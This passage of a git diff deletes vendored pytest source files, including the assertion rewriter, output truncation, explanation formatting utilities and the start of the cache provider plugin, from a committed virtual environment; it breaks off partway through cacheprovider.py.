gluestr = "\n>assert " - else: - assertmsg = ast.Constant("") - gluestr = "assert " - err_explanation = ast.BinOp(ast.Constant(gluestr), ast.Add(), msg) - err_msg = ast.BinOp(assertmsg, ast.Add(), err_explanation) - err_name = ast.Name("AssertionError", ast.Load()) - fmt = self.helper("_format_explanation", err_msg) - exc = ast.Call(err_name, [fmt], []) - raise_ = ast.Raise(exc, None) - statements_fail = [] - statements_fail.extend(self.expl_stmts) - statements_fail.append(raise_) - - # Passed - fmt_pass = self.helper("_format_explanation", msg) - orig = _get_assertion_exprs(self.source)[assert_.lineno] - hook_call_pass = ast.Expr( - self.helper( - "_call_assertion_pass", - ast.Constant(assert_.lineno), - ast.Constant(orig), - fmt_pass, - ) - ) - # If any hooks implement assert_pass hook - hook_impl_test = ast.If( - self.helper("_check_if_assertion_pass_impl"), - [*self.expl_stmts, hook_call_pass], - [], - ) - statements_pass: list[ast.stmt] = [hook_impl_test] - - # Test for assertion condition - main_test = ast.If(negation, statements_fail, statements_pass) - self.statements.append(main_test) - if self.format_variables: - variables: list[ast.expr] = [ - ast.Name(name, ast.Store()) for name in self.format_variables - ] - clear_format = ast.Assign(variables, ast.Constant(None)) - self.statements.append(clear_format) - - else: # Original assertion rewriting - # Create failure message. - body = self.expl_stmts - self.statements.append(ast.If(negation, body, [])) - if assert_.msg: - assertmsg = self.helper("_format_assertmsg", assert_.msg) - explanation = "\n>assert " + explanation - else: - assertmsg = ast.Constant("") - explanation = "assert " + explanation - template = ast.BinOp(assertmsg, ast.Add(), ast.Constant(explanation)) - msg = self.pop_format_context(template) - fmt = self.helper("_format_explanation", msg) - err_name = ast.Name("AssertionError", ast.Load()) - exc = ast.Call(err_name, [fmt], []) - raise_ = ast.Raise(exc, None) - - body.append(raise_) - - # Clear temporary variables by setting them to None. - if self.variables: - variables = [ast.Name(name, ast.Store()) for name in self.variables] - clear = ast.Assign(variables, ast.Constant(None)) - self.statements.append(clear) - # Fix locations (line numbers/column offsets). - for stmt in self.statements: - for node in traverse_node(stmt): - if getattr(node, "lineno", None) is None: - # apply the assertion location to all generated ast nodes without source location - # and preserve the location of existing nodes or generated nodes with an correct location. - ast.copy_location(node, assert_) - return self.statements - - def visit_NamedExpr(self, name: ast.NamedExpr) -> tuple[ast.NamedExpr, str]: - # This method handles the 'walrus operator' repr of the target - # name if it's a local variable or _should_repr_global_name() - # thinks it's acceptable. - locs = ast.Call(self.builtin("locals"), [], []) - target_id = name.target.id - inlocs = ast.Compare(ast.Constant(target_id), [ast.In()], [locs]) - dorepr = self.helper("_should_repr_global_name", name) - test = ast.BoolOp(ast.Or(), [inlocs, dorepr]) - expr = ast.IfExp(test, self.display(name), ast.Constant(target_id)) - return name, self.explanation_param(expr) - - def visit_Name(self, name: ast.Name) -> tuple[ast.Name, str]: - # Display the repr of the name if it's a local variable or - # _should_repr_global_name() thinks it's acceptable. - locs = ast.Call(self.builtin("locals"), [], []) - inlocs = ast.Compare(ast.Constant(name.id), [ast.In()], [locs]) - dorepr = self.helper("_should_repr_global_name", name) - test = ast.BoolOp(ast.Or(), [inlocs, dorepr]) - expr = ast.IfExp(test, self.display(name), ast.Constant(name.id)) - return name, self.explanation_param(expr) - - def visit_BoolOp(self, boolop: ast.BoolOp) -> tuple[ast.Name, str]: - res_var = self.variable() - expl_list = self.assign(ast.List([], ast.Load())) - app = ast.Attribute(expl_list, "append", ast.Load()) - is_or = int(isinstance(boolop.op, ast.Or)) - body = save = self.statements - fail_save = self.expl_stmts - levels = len(boolop.values) - 1 - self.push_format_context() - # Process each operand, short-circuiting if needed. - for i, v in enumerate(boolop.values): - if i: - fail_inner: list[ast.stmt] = [] - # cond is set in a prior loop iteration below - self.expl_stmts.append(ast.If(cond, fail_inner, [])) # noqa: F821 - self.expl_stmts = fail_inner - match v: - # Check if the left operand is an ast.NamedExpr and the value has already been visited - case ast.Compare( - left=ast.NamedExpr(target=ast.Name(id=target_id)) - ) if target_id in [ - e.id for e in boolop.values[:i] if hasattr(e, "id") - ]: - pytest_temp = self.variable() - self.variables_overwrite[self.scope][target_id] = v.left # type:ignore[assignment] - # mypy's false positive, we're checking that the 'target' attribute exists. - v.left.target.id = pytest_temp # type:ignore[attr-defined] - self.push_format_context() - res, expl = self.visit(v) - body.append(ast.Assign([ast.Name(res_var, ast.Store())], res)) - expl_format = self.pop_format_context(ast.Constant(expl)) - call = ast.Call(app, [expl_format], []) - self.expl_stmts.append(ast.Expr(call)) - if i < levels: - cond: ast.expr = res - if is_or: - cond = ast.UnaryOp(ast.Not(), cond) - inner: list[ast.stmt] = [] - self.statements.append(ast.If(cond, inner, [])) - self.statements = body = inner - self.statements = save - self.expl_stmts = fail_save - expl_template = self.helper("_format_boolop", expl_list, ast.Constant(is_or)) - expl = self.pop_format_context(expl_template) - return ast.Name(res_var, ast.Load()), self.explanation_param(expl) - - def visit_UnaryOp(self, unary: ast.UnaryOp) -> tuple[ast.Name, str]: - pattern = UNARY_MAP[unary.op.__class__] - operand_res, operand_expl = self.visit(unary.operand) - res = self.assign(ast.copy_location(ast.UnaryOp(unary.op, operand_res), unary)) - return res, pattern % (operand_expl,) - - def visit_BinOp(self, binop: ast.BinOp) -> tuple[ast.Name, str]: - symbol = BINOP_MAP[binop.op.__class__] - left_expr, left_expl = self.visit(binop.left) - right_expr, right_expl = self.visit(binop.right) - explanation = f"({left_expl} {symbol} {right_expl})" - res = self.assign( - ast.copy_location(ast.BinOp(left_expr, binop.op, right_expr), binop) - ) - return res, explanation - - def visit_Call(self, call: ast.Call) -> tuple[ast.Name, str]: - new_func, func_expl = self.visit(call.func) - arg_expls = [] - new_args = [] - new_kwargs = [] - for arg in call.args: - if isinstance(arg, ast.Name) and arg.id in self.variables_overwrite.get( - self.scope, {} - ): - arg = self.variables_overwrite[self.scope][arg.id] # type:ignore[assignment] - res, expl = self.visit(arg) - arg_expls.append(expl) - new_args.append(res) - for keyword in call.keywords: - match keyword.value: - case ast.Name(id=id) if id in self.variables_overwrite.get( - self.scope, {} - ): - keyword.value = self.variables_overwrite[self.scope][id] # type:ignore[assignment] - res, expl = self.visit(keyword.value) - new_kwargs.append(ast.keyword(keyword.arg, res)) - if keyword.arg: - arg_expls.append(keyword.arg + "=" + expl) - else: # **args have `arg` keywords with an .arg of None - arg_expls.append("**" + expl) - - expl = "{}({})".format(func_expl, ", ".join(arg_expls)) - new_call = ast.copy_location(ast.Call(new_func, new_args, new_kwargs), call) - res = self.assign(new_call) - res_expl = self.explanation_param(self.display(res)) - outer_expl = f"{res_expl}\n{{{res_expl} = {expl}\n}}" - return res, outer_expl - - def visit_Starred(self, starred: ast.Starred) -> tuple[ast.Starred, str]: - # A Starred node can appear in a function call. - res, expl = self.visit(starred.value) - new_starred = ast.Starred(res, starred.ctx) - return new_starred, "*" + expl - - def visit_Attribute(self, attr: ast.Attribute) -> tuple[ast.Name, str]: - if not isinstance(attr.ctx, ast.Load): - return self.generic_visit(attr) - value, value_expl = self.visit(attr.value) - res = self.assign( - ast.copy_location(ast.Attribute(value, attr.attr, ast.Load()), attr) - ) - res_expl = self.explanation_param(self.display(res)) - pat = "%s\n{%s = %s.%s\n}" - expl = pat % (res_expl, res_expl, value_expl, attr.attr) - return res, expl - - def visit_Compare(self, comp: ast.Compare) -> tuple[ast.expr, str]: - self.push_format_context() - # We first check if we have overwritten a variable in the previous assert - match comp.left: - case ast.Name(id=name_id) if name_id in self.variables_overwrite.get( - self.scope, {} - ): - comp.left = self.variables_overwrite[self.scope][name_id] # type: ignore[assignment] - case ast.NamedExpr(target=ast.Name(id=target_id)): - self.variables_overwrite[self.scope][target_id] = comp.left # type: ignore[assignment] - left_res, left_expl = self.visit(comp.left) - if isinstance(comp.left, ast.Compare | ast.BoolOp): - left_expl = f"({left_expl})" - res_variables = [self.variable() for i in range(len(comp.ops))] - load_names: list[ast.expr] = [ast.Name(v, ast.Load()) for v in res_variables] - store_names = [ast.Name(v, ast.Store()) for v in res_variables] - it = zip(range(len(comp.ops)), comp.ops, comp.comparators, strict=True) - expls: list[ast.expr] = [] - syms: list[ast.expr] = [] - results = [left_res] - for i, op, next_operand in it: - match (next_operand, left_res): - case ( - ast.NamedExpr(target=ast.Name(id=target_id)), - ast.Name(id=name_id), - ) if target_id == name_id: - next_operand.target.id = self.variable() - self.variables_overwrite[self.scope][name_id] = next_operand # type: ignore[assignment] - - next_res, next_expl = self.visit(next_operand) - if isinstance(next_operand, ast.Compare | ast.BoolOp): - next_expl = f"({next_expl})" - results.append(next_res) - sym = BINOP_MAP[op.__class__] - syms.append(ast.Constant(sym)) - expl = f"{left_expl} {sym} {next_expl}" - expls.append(ast.Constant(expl)) - res_expr = ast.copy_location(ast.Compare(left_res, [op], [next_res]), comp) - self.statements.append(ast.Assign([store_names[i]], res_expr)) - left_res, left_expl = next_res, next_expl - # Use pytest.assertion.util._reprcompare if that's available. - expl_call = self.helper( - "_call_reprcompare", - ast.Tuple(syms, ast.Load()), - ast.Tuple(load_names, ast.Load()), - ast.Tuple(expls, ast.Load()), - ast.Tuple(results, ast.Load()), - ) - if len(comp.ops) > 1: - res: ast.expr = ast.BoolOp(ast.And(), load_names) - else: - res = load_names[0] - - return res, self.explanation_param(self.pop_format_context(expl_call)) - - -def try_makedirs(cache_dir: Path) -> bool: - """Attempt to create the given directory and sub-directories exist. - - Returns True if successful or if it already exists. - """ - try: - os.makedirs(cache_dir, exist_ok=True) - except (FileNotFoundError, NotADirectoryError, FileExistsError): - # One of the path components was not a directory: - # - we're in a zip file - # - it is a file - return False - except PermissionError: - return False - except OSError as e: - # as of now, EROFS doesn't have an equivalent OSError-subclass - # - # squashfuse_ll returns ENOSYS "OSError: [Errno 38] Function not - # implemented" for a read-only error - if e.errno in {errno.EROFS, errno.ENOSYS}: - return False - raise - return True - - -def get_cache_dir(file_path: Path) -> Path: - """Return the cache directory to write .pyc files for the given .py file path.""" - if sys.pycache_prefix: - # given: - # prefix = '/tmp/pycs' - # path = '/home/user/proj/test_app.py' - # we want: - # '/tmp/pycs/home/user/proj' - return Path(sys.pycache_prefix) / Path(*file_path.parts[1:-1]) - else: - # classic pycache directory - return file_path.parent / "__pycache__" diff --git a/venv/Lib/site-packages/_pytest/assertion/truncate.py b/venv/Lib/site-packages/_pytest/assertion/truncate.py deleted file mode 100644 index d62ca33cc4b021d0483c1978abf2d88c9e0c03ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/truncate.py +++ /dev/null @@ -1,128 +0,0 @@ -"""Utilities for truncating assertion output. - -Current default behaviour is to truncate assertion explanations at -terminal lines, unless running with an assertions verbosity level of at least 2 or running on CI. -""" - -from __future__ import annotations - -from _pytest.compat import running_on_ci -from _pytest.config import Config -from _pytest.nodes import Item - - -DEFAULT_MAX_LINES = 8 -DEFAULT_MAX_CHARS = DEFAULT_MAX_LINES * 80 -USAGE_MSG = "use '-vv' to show" - - -def truncate_if_required(explanation: list[str], item: Item) -> list[str]: - """Truncate this assertion explanation if the given test item is eligible.""" - should_truncate, max_lines, max_chars = _get_truncation_parameters(item) - if should_truncate: - return _truncate_explanation( - explanation, - max_lines=max_lines, - max_chars=max_chars, - ) - return explanation - - -def _get_truncation_parameters(item: Item) -> tuple[bool, int, int]: - """Return the truncation parameters related to the given item, as (should truncate, max lines, max chars).""" - # We do not need to truncate if one of conditions is met: - # 1. Verbosity level is 2 or more; - # 2. Test is being run in CI environment; - # 3. Both truncation_limit_lines and truncation_limit_chars - # .ini parameters are set to 0 explicitly. - max_lines = item.config.getini("truncation_limit_lines") - max_lines = int(max_lines if max_lines is not None else DEFAULT_MAX_LINES) - - max_chars = item.config.getini("truncation_limit_chars") - max_chars = int(max_chars if max_chars is not None else DEFAULT_MAX_CHARS) - - verbose = item.config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - - should_truncate = verbose < 2 and not running_on_ci() - should_truncate = should_truncate and (max_lines > 0 or max_chars > 0) - - return should_truncate, max_lines, max_chars - - -def _truncate_explanation( - input_lines: list[str], - max_lines: int, - max_chars: int, -) -> list[str]: - """Truncate given list of strings that makes up the assertion explanation. - - Truncates to either max_lines, or max_chars - whichever the input reaches - first, taking the truncation explanation into account. The remaining lines - will be replaced by a usage message. - - If max_chars=0, no truncation by character count is performed. - If max_lines=0, no truncation by line count is performed. - - When this function is launched we know max_lines > 0 or max_chars > 0 - because _get_truncation_parameters was called first. - """ - # The length of the truncation explanation depends on the number of lines - # removed but is at least 68 characters: - # The real value is - # 64 (for the base message: - # '...\n...Full output truncated (1 line hidden), use '-vv' to show")' - # ) - # + 1 (for plural) - # + int(math.log10(len(input_lines) - max_lines)) (number of hidden line, at least 1) - # + 3 for the '...' added to the truncated line - # But if there's more than 100 lines it's very likely that we're going to - # truncate, so we don't need the exact value using log10. - tolerable_max_chars = ( - max_chars + 70 # 64 + 1 (for plural) + 2 (for '99') + 3 for '...' - ) - # The truncation explanation add two lines to the output - if max_lines == 0 or len(input_lines) <= max_lines + 2: - if max_chars == 0 or sum(len(s) for s in input_lines) <= tolerable_max_chars: - return input_lines - truncated_explanation = input_lines - else: - # Truncate first to max_lines, and then truncate to max_chars if necessary - truncated_explanation = input_lines[:max_lines] - # We reevaluate the need to truncate chars following removal of some lines - need_to_truncate_char = ( - max_chars > 0 - and sum(len(e) for e in truncated_explanation) > tolerable_max_chars - ) - if need_to_truncate_char: - truncated_explanation = _truncate_by_char_count( - truncated_explanation, max_chars - ) - # Something was truncated, adding '...' at the end to show that - truncated_explanation[-1] += "..." - truncated_line_count = ( - len(input_lines) - len(truncated_explanation) + int(need_to_truncate_char) - ) - return [ - *truncated_explanation, - "", - f"...Full output truncated ({truncated_line_count} line" - f"{'' if truncated_line_count == 1 else 's'} hidden), {USAGE_MSG}", - ] - - -def _truncate_by_char_count(input_lines: list[str], max_chars: int) -> list[str]: - # Find point at which input length exceeds total allowed length - iterated_char_count = 0 - for iterated_index, input_line in enumerate(input_lines): - if iterated_char_count + len(input_line) > max_chars: - break - iterated_char_count += len(input_line) - - # Create truncated explanation with modified final line - truncated_result = input_lines[:iterated_index] - final_line = input_lines[iterated_index] - if final_line: - final_line_truncate_point = max_chars - iterated_char_count - final_line = final_line[:final_line_truncate_point] - truncated_result.append(final_line) - return truncated_result diff --git a/venv/Lib/site-packages/_pytest/assertion/util.py b/venv/Lib/site-packages/_pytest/assertion/util.py deleted file mode 100644 index 5e5ef543c139cacc5829e7b60c12e0182ced8a90..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/util.py +++ /dev/null @@ -1,215 +0,0 @@ -# mypy: allow-untyped-defs -"""Utilities for assertion debugging.""" - -from __future__ import annotations - -from collections.abc import Callable -from collections.abc import Iterator -from collections.abc import Sequence -from typing import Literal -from unicodedata import normalize - -from _pytest import outcomes -import _pytest._code -from _pytest._io.saferepr import saferepr -from _pytest._io.saferepr import saferepr_unlimited -from _pytest.assertion._compare_any import _compare_eq_any -from _pytest.assertion._compare_set import SET_COMPARISON_FUNCTIONS -from _pytest.assertion._guards import isset -from _pytest.assertion._guards import istext -from _pytest.assertion._typing import _AssertionTextDiffStyle -from _pytest.assertion._typing import _HighlightFunc -from _pytest.assertion.compare_text import _notin_text -from _pytest.assertion.highlight import dummy_highlighter as dummy_highlighter -from _pytest.config import Config -from _pytest.config import UsageError - - -# The _reprcompare attribute on the util module is used by the new assertion -# interpretation code and assertion rewriter to detect this plugin was -# loaded and in turn call the hooks defined here as part of the -# DebugInterpreter. -_reprcompare: Callable[[str, object, object], str | None] | None = None - -# Works similarly as _reprcompare attribute. Is populated with the hook call -# when pytest_runtest_setup is called. -_assertion_pass: Callable[[int, str, str], None] | None = None - -# Config object which is assigned during pytest_runtest_protocol. -_config: Config | None = None - -ASSERTION_TEXT_DIFF_STYLE_INI = "assertion_text_diff_style" -ASSERTION_TEXT_DIFF_STYLE_NDIFF: Literal["ndiff"] = "ndiff" -ASSERTION_TEXT_DIFF_STYLE_BLOCK: Literal["block"] = "block" -ASSERTION_TEXT_DIFF_STYLE_CHOICES = ( - ASSERTION_TEXT_DIFF_STYLE_NDIFF, - ASSERTION_TEXT_DIFF_STYLE_BLOCK, -) - - -def get_assertion_text_diff_style(config: Config) -> _AssertionTextDiffStyle: - style = str(config.getini(ASSERTION_TEXT_DIFF_STYLE_INI)) - match style: - case "ndiff" | "block": - return style - case _: - choices = ", ".join( - repr(choice) for choice in ASSERTION_TEXT_DIFF_STYLE_CHOICES - ) - raise UsageError( - f"{ASSERTION_TEXT_DIFF_STYLE_INI} must be one of {choices}; got {style!r}" - ) - - -def validate_assertion_text_diff_style(config: Config) -> None: - get_assertion_text_diff_style(config) - - -def format_explanation(explanation: str) -> str: - r"""Format an explanation. - - Normally all embedded newlines are escaped, however there are - three exceptions: \n{, \n} and \n~. The first two are intended - cover nested explanations, see function and attribute explanations - for examples (.visit_Call(), visit_Attribute()). The last one is - for when one explanation needs to span multiple lines, e.g. when - displaying diffs. - """ - lines = _split_explanation(explanation) - result = _format_lines(lines) - return "\n".join(result) - - -def _split_explanation(explanation: str) -> list[str]: - r"""Return a list of individual lines in the explanation. - - This will return a list of lines split on '\n{', '\n}' and '\n~'. - Any other newlines will be escaped and appear in the line as the - literal '\n' characters. - """ - raw_lines = (explanation or "").split("\n") - lines = [raw_lines[0]] - for values in raw_lines[1:]: - if values and values[0] in ["{", "}", "~", ">"]: - lines.append(values) - else: - lines[-1] += "\\n" + values - return lines - - -def _format_lines(lines: Sequence[str]) -> list[str]: - """Format the individual lines. - - This will replace the '{', '}' and '~' characters of our mini formatting - language with the proper 'where ...', 'and ...' and ' + ...' text, taking - care of indentation along the way. - - Return a list of formatted lines. - """ - result = list(lines[:1]) - stack = [0] - stackcnt = [0] - for line in lines[1:]: - if line.startswith("{"): - if stackcnt[-1]: - s = "and " - else: - s = "where " - stack.append(len(result)) - stackcnt[-1] += 1 - stackcnt.append(0) - result.append(" +" + " " * (len(stack) - 1) + s + line[1:]) - elif line.startswith("}"): - stack.pop() - stackcnt.pop() - result[stack[-1]] += line[1:] - else: - assert line[0] in ["~", ">"] - stack[-1] += 1 - indent = len(stack) if line.startswith("~") else len(stack) - 1 - result.append(" " * indent + line[1:]) - assert len(stack) == 1 - return result - - -def assertrepr_compare( - op: str, - left: object, - right: object, - *, - verbose: int, - highlighter: _HighlightFunc, - assertion_text_diff_style: _AssertionTextDiffStyle, -) -> Iterator[str]: - """Yield specialised explanations for some operators/operands. - - The first line yielded is always the summary (``left op right``); - subsequent lines are the detailed explanation. Yields nothing when no - specialised explanation applies, which lets consumers map an empty - iterator to "no explanation" without materialising anything. - - The iterator is lazy on purpose: a streaming consumer can stop pulling - lines as soon as it has enough to show, so an enormous diff doesn't - have to be built in full just to be thrown away. - """ - # Strings which normalize equal are often hard to distinguish when printed; use ascii() to make this easier. - # See issue #3246. - use_ascii = ( - isinstance(left, str) - and isinstance(right, str) - and normalize("NFD", left) == normalize("NFD", right) - ) - - if verbose > 1: - left_repr = saferepr_unlimited(left, use_ascii=use_ascii) - right_repr = saferepr_unlimited(right, use_ascii=use_ascii) - else: - # XXX: "15 chars indentation" is wrong - # ("E AssertionError: assert "); should use term width. - maxsize = ( - 80 - 15 - len(op) - 2 - ) // 2 # 15 chars indentation, 1 space around op - - left_repr = saferepr(left, maxsize=maxsize, use_ascii=use_ascii) - right_repr = saferepr(right, maxsize=maxsize, use_ascii=use_ascii) - - summary = f"{left_repr} {op} {right_repr}" - - try: - if op == "==": - source = _compare_eq_any( - left, - right, - highlighter, - verbose, - assertion_text_diff_style, - ) - elif op == "not in" and istext(left) and istext(right): - source = _notin_text(left, right, verbose) - elif op in {"!=", ">=", "<=", ">", "<"} and isset(left) and isset(right): - source = SET_COMPARISON_FUNCTIONS[op](left, right, highlighter, verbose) - else: - source = iter(()) - - # Only yield the summary if there is a detailed explanation. - # Make sure there's a separating empty line after the summary. - summary_yielded = False - for line in source: - if not summary_yielded: - yield summary - if line != "": - yield "" - summary_yielded = True - yield line - except outcomes.Exit: - raise - except Exception: - repr_crash = _pytest._code.ExceptionInfo.from_current()._getreprcrash() - if not summary_yielded: - yield summary - yield "" - summary_yielded = True - yield ( - f"(pytest_assertion plugin: representation of details failed: {repr_crash}." - ) - yield " Probably an object has a faulty __repr__.)" diff --git a/venv/Lib/site-packages/_pytest/cacheprovider.py b/venv/Lib/site-packages/_pytest/cacheprovider.py deleted file mode 100644 index 6bcac1ad97a267b11f24f3f58987951973dcbfa6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/cacheprovider.py +++ /dev/null @@ -1,640 +0,0 @@ -# mypy: allow-untyped-defs -"""Implementation of the cache provider.""" - -# This plugin was not named "cache" to avoid conflicts with the external -# pytest-cache version. -from __future__ import annotations - -from collections.abc import Generator -from collections.abc import Iterable -import dataclasses -import errno -import json -import os -from pathlib import Path -import shutil -import tempfile -from typing import final - -from .pathlib import resolve_from_str -from .pathlib import rm_rf -from .reports import CollectReport -from _pytest import nodes -from _pytest._io import TerminalWriter -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.nodes import Directory -from _pytest.nodes import File -from _pytest.reports import TestReport - - -CACHEDIR_FILES: dict[str, bytes] = { - "README.md": b"""\ -# pytest cache directory # - -This directory contains data from the pytest's cache plugin, -which provides the `--lf` and `--ff` options, as well as the `cache` fixture. - -**Do not** commit this to version control. - -See [the docs](https://docs.pytest.org/en/stable/how-to/cache.html) for more information. -""", - ".gitignore": b"# Created by pytest automatically.\n*\n", - "CACHEDIR.TAG": b"""\ -Signature: 8a477f597d28d172789f06886806bc55 -# This file is a cache directory tag created by pytest. -# For information about cache directory tags, see: -# https://bford.info/cachedir/spec.html -""", -} - - -def _make_cachedir(target: Path) -> None: - """Create the pytest cache directory atomically with supporting files. - - Creates a temporary directory with README.md, .gitignore, and CACHEDIR.TAG, - then atomically renames it to the target location. If another process wins - the race, the temporary directory is cleaned up. - """ - target.parent.mkdir(parents=True, exist_ok=True) - path = Path(tempfile.mkdtemp(prefix="pytest-cache-files-", dir=target.parent)) - try: - # Reset permissions to the default, see #12308. - # Note: there's no way to get the current umask atomically, eek. - umask = os.umask(0o022) - os.umask(umask) - path.chmod(0o777 - umask) - - for name, content in CACHEDIR_FILES.items(): - path.joinpath(name).write_bytes(content) - - path.rename(target) - except OSError as e: - # If 2 concurrent pytests both race to the rename, the loser - # gets "Directory not empty" from the rename. In this case, - # everything is handled so just continue after cleanup. - # On Windows, the error is a FileExistsError which translates to EEXIST. - if e.errno not in (errno.ENOTEMPTY, errno.EEXIST): - raise - finally: - shutil.rmtree(path, ignore_errors=True) - - -@final -@dataclasses.dataclass -class Cache: - """Instance of the `cache` fixture.""" - - _cachedir: Path = dataclasses.field(repr=False) - _config: Config = dataclasses.field(repr=False) - - # Sub-directory under cache-dir for directories created by `mkdir()`. - _CACHE_PREFIX_DIRS = "d" - - # Sub-directory under cache-dir for values created by `set()`. - _CACHE_PREFIX_VALUES = "v" - - def __init__( - self, cachedir: Path, config: Config, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - self._cachedir = cachedir - self._config = config - - @classmethod - def for_config(cls, config: Config, *, _ispytest: bool = False) -> Cache: - """Create the Cache instance for a Config. - - :meta private: - """ - check_ispytest(_ispytest) - cachedir = cls.cache_dir_from_config(config, _ispytest=True) - if config.getoption("cacheclear") and cachedir.is_dir(): - cls.clear_cache(cachedir, _ispytest=True) - return cls(cachedir, config, _ispytest=True) - - @classmethod - def clear_cache(cls, cachedir: Path, _ispytest: bool = False) -> None: - """Clear the sub-directories used to hold cached directories and values. - - :meta private: - """ - check_ispytest(_ispytest) - for prefix in (cls._CACHE_PREFIX_DIRS, cls._CACHE_PREFIX_VALUES): - d = cachedir / prefix - if d.is_dir(): - rm_rf(d) - - @staticmethod - def cache_dir_from_config(config: Config, *, _ispytest: bool = False) -> Path: - """Get the path to the cache directory for a Config. - - :meta private: - """ - check_ispytest(_ispytest) - return resolve_from_str(config.getini("cache_dir"), config.rootpath) - - def warn(self, fmt: str, *, _ispytest: bool = False, **args: object) -> None: - """Issue a cache warning. - - :meta private: - """ - check_ispytest(_ispytest) - import warnings - - from _pytest.warning_types import PytestCacheWarning - - warnings.warn( - PytestCacheWarning(fmt.format(**args) if args else fmt), - self._config.hook, - stacklevel=3, - ) - - def _mkdir(self, path: Path) -> None: - self._ensure_cache_dir_and_supporting_files() - path.mkdir(exist_ok=True, parents=True) - - def mkdir(self, name: str) -> Path: - """Return a directory path object with the given name. - - If the directory does not yet exist, it will be created. You can use - it to manage files to e.g. store/retrieve database dumps across test - sessions. - - .. versionadded:: 7.0 - - :param name: - Must be a string not containing a ``/`` separator. - Make sure the name contains your plugin or application - identifiers to prevent clashes with other cache users. - """ - path = Path(name) - if len(path.parts) > 1: - raise ValueError("name is not allowed to contain path separators") - res = self._cachedir.joinpath(self._CACHE_PREFIX_DIRS, path) - self._mkdir(res) - return res - - def _getvaluepath(self, key: str) -> Path: - return self._cachedir.joinpath(self._CACHE_PREFIX_VALUES, Path(key)) - - def get(self, key: str, default): - """Return the cached value for the given key. - - If no value was yet cached or the value cannot be read, the specified - default is returned. - - :param key: - Must be a ``/`` separated value. Usually the first - name is the name of your plugin or your application. - :param default: - The value to return in case of a cache-miss or invalid cache value. - """ - path = self._getvaluepath(key) - try: - with path.open("r", encoding="UTF-8") as f: - return json.load(f) - except (ValueError, OSError): - return default - - def set(self, key: str, value: object) -> None: - """Save value for the given key. - - :param key: - Must be a ``/`` separated value. Usually the first - name is the name of your plugin or your application. - :param value: - Must be of any combination of basic python types, - including nested types like lists of dictionaries. - """ - path = self._getvaluepath(key) - try: - self._mkdir(path.parent) - except OSError as exc: - self.warn( - f"could not create cache path {path}: {exc}", - _ispytest=True, - ) - return - data = json.dumps(value, ensure_ascii=False, indent=2) - try: - f = path.open("w", encoding="UTF-8") - except OSError as exc: - self.warn( - f"cache could not write path {path}: {exc}", - _ispytest=True, - ) - else: - with f: - f.write(data) - - def _ensure_cache_dir_and_supporting_files(self) -> None: - """Create the cache dir and its supporting files.""" - if not self._cachedir.is_dir(): - _make_cachedir(self._cachedir) - - -class LFPluginCollWrapper: - def __init__(self, lfplugin: LFPlugin) -> None: - self.lfplugin = lfplugin - self._collected_at_least_one_failure = False - - @hookimpl(wrapper=True) - def pytest_make_collect_report( - self, collector: nodes.Collector - ) -> Generator[None, CollectReport, CollectReport]: - res = yield - if isinstance(collector, Session | Directory): - # Sort any lf-paths to the beginning. - lf_paths = self.lfplugin._last_failed_paths - - # Use stable sort to prioritize last failed. - def sort_key(node: nodes.Item | nodes.Collector) -> bool: - return node.path in lf_paths - - res.result = sorted( - res.result, - key=sort_key, - reverse=True, - ) - - elif isinstance(collector, File): - if collector.path in self.lfplugin._last_failed_paths: - result = res.result - lastfailed = self.lfplugin.lastfailed - - # Only filter with known failures. - if not self._collected_at_least_one_failure: - if not any(x.nodeid in lastfailed for x in result): - return res - self.lfplugin.config.pluginmanager.register( - LFPluginCollSkipfiles(self.lfplugin), "lfplugin-collskip" - ) - self._collected_at_least_one_failure = True - - session = collector.session - result[:] = [ - x - for x in result - if x.nodeid in lastfailed - # Include any passed arguments (not trivial to filter). - or session.isinitpath(x.path) - # Keep all sub-collectors. - or isinstance(x, nodes.Collector) - ] - - return res - - -class LFPluginCollSkipfiles: - def __init__(self, lfplugin: LFPlugin) -> None: - self.lfplugin = lfplugin - - @hookimpl - def pytest_make_collect_report( - self, collector: nodes.Collector - ) -> CollectReport | None: - if isinstance(collector, File): - if collector.path not in self.lfplugin._last_failed_paths: - self.lfplugin._skipped_files += 1 - - return CollectReport( - collector.nodeid, "passed", longrepr=None, result=[] - ) - return None - - -class LFPlugin: - """Plugin which implements the --lf (run last-failing) option.""" - - def __init__(self, config: Config) -> None: - self.config = config - active_keys = "lf", "failedfirst" - self.active = any(config.getoption(key) for key in active_keys) - assert config.cache - self.lastfailed: dict[str, bool] = config.cache.get("cache/lastfailed", {}) - self._previously_failed_count: int | None = None - self._report_status: str | None = None - self._skipped_files = 0 # count skipped files during collection due to --lf - - if config.getoption("lf"): - self._last_failed_paths = self.get_last_failed_paths() - config.pluginmanager.register( - LFPluginCollWrapper(self), "lfplugin-collwrapper" - ) - - def get_last_failed_paths(self) -> set[Path]: - """Return a set with all Paths of the previously failed nodeids and - their parents.""" - rootpath = self.config.rootpath - result = set() - for nodeid in self.lastfailed: - path = rootpath / nodeid.split("::")[0] - result.add(path) - result.update(path.parents) - return {x for x in result if x.exists()} - - def pytest_report_collectionfinish(self) -> str | None: - if self.active and self.config.get_verbosity() >= 0: - return f"run-last-failure: {self._report_status}" - return None - - def pytest_runtest_logreport(self, report: TestReport) -> None: - if (report.when == "call" and report.passed) or report.skipped: - self.lastfailed.pop(report.nodeid, None) - elif report.failed: - self.lastfailed[report.nodeid] = True - - def pytest_collectreport(self, report: CollectReport) -> None: - passed = report.outcome in ("passed", "skipped") - if passed: - if report.nodeid in self.lastfailed: - self.lastfailed.pop(report.nodeid) - self.lastfailed.update((item.nodeid, True) for item in report.result) - else: - self.lastfailed[report.nodeid] = True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection_modifyitems( - self, config: Config, items: list[nodes.Item] - ) -> Generator[None]: - res = yield - - if not self.active: - return res - - if self.lastfailed: - previously_failed = [] - previously_passed = [] - for item in items: - if item.nodeid in self.lastfailed: - previously_failed.append(item) - else: - previously_passed.append(item) - self._previously_failed_count = len(previously_failed) - - if not previously_failed: - # Running a subset of all tests with recorded failures - # only outside of it. - 